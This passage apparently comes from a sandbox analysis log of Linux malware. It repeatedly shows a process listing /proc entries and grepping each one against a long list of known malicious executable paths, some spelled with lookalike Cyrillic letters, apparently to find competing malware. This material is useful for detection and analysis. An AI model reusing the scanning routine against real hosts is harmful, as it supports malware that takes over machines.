  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1047
- /bin/grep
  grep exe
  2⤵
  PID:1050
- /bin/ls
  ls -latrh /proc/634
  2⤵
  PID:1049
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1052
- /bin/ls
  ls -latrh /proc/635
  2⤵
  PID:1054
- /bin/grep
  grep exe
  2⤵
  PID:1055
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1057
- /bin/grep
  grep exe
  2⤵
  PID:1060
- /bin/ls
  ls -latrh /proc/636
  2⤵
  PID:1059
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1062
- /bin/grep
  grep exe
  2⤵
  PID:1065
- /bin/ls
  ls -latrh /proc/637
  2⤵
  PID:1064
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1067
- /bin/grep
  grep exe
  2⤵
  PID:1070
- /bin/ls
  ls -latrh /proc/642
  2⤵
  PID:1069
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1072
- /bin/grep
  grep exe
  2⤵
  PID:1075
- /bin/ls
  ls -latrh /proc/648
  2⤵
  PID:1074
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1077
- /bin/grep
  grep exe
  2⤵
  PID:1080
- /bin/ls
  ls -latrh /proc/654
  2⤵
  PID:1079
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1082
- /bin/ls
  ls -latrh /proc/683
  2⤵
  PID:1084
- /bin/grep
  grep exe
  2⤵
  PID:1085
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1087
- /bin/ls
  ls -latrh /proc/684
  2⤵
  PID:1089
- /bin/grep
  grep exe
  2⤵
  PID:1090
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1092
- /bin/ls
  ls -latrh /proc/692
  2⤵
  PID:1094
- /bin/grep
  grep exe
  2⤵
  PID:1095
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1097
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1099
- /bin/grep
  grep exe
  2⤵
  PID:1100
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1102
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1104
- /bin/grep
  grep exe
  2⤵
  PID:1105
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1107
- /bin/grep
  grep exe
  2⤵
  PID:1110
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1109
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1112
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1114
- /bin/grep
  grep exe
  2⤵
  PID:1115
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1117
- /bin/ls
  ls -latrh /proc/97
  2⤵
  PID:1119
- /bin/grep
  grep exe
  2⤵
  PID:1120
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1122
- /bin/grep
  grep exe
  2⤵
  PID:1125
- /bin/ls
  ls -latrh /proc/apm
  2⤵
  PID:1124
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1127
- /bin/grep
  grep exe
  2⤵
  PID:1130
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1129
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1132
- /bin/grep
  grep exe
  2⤵
  PID:1135
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1134
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1137
- /bin/grep
  grep exe
  2⤵
  PID:1140
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1139
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1142
- /bin/grep
  grep exe
  2⤵
  PID:1145
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1144
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1147
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1149
- /bin/grep
  grep exe
  2⤵
  PID:1150
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1152
- /bin/grep
  grep exe
  2⤵
  PID:1155
- /bin/ls
  ls -latrh /proc/cpu
  2⤵
  PID:1154
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1157
- /bin/grep
  grep exe
  2⤵
  PID:1160
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1159
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1162
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1164
- /bin/grep
  grep exe
  2⤵
  PID:1165
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1167
- /bin/grep
  grep exe
  2⤵
  PID:1170
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1169
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1172
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1174
- /bin/grep
  grep exe
  2⤵
  PID:1175
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1177
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1179
- /bin/grep
  grep exe
  2⤵
  PID:1180
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1182
- /bin/grep
  grep exe
  2⤵
  PID:1185
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1184
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1187
- /bin/grep
  grep exe
  2⤵
  PID:1190
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1189
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1192
- /bin/grep
  grep exe
  2⤵
  PID:1195
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1194
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1197
- /bin/grep
  grep exe
  2⤵
  PID:1200
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1199
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1202
- /bin/grep
  grep exe
  2⤵
  PID:1205
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1204
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1207
- /bin/grep
  grep exe
  2⤵
  PID:1210
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1209
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1212
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1214
- /bin/grep
  grep exe
  2⤵
  PID:1215
- /bin/grep
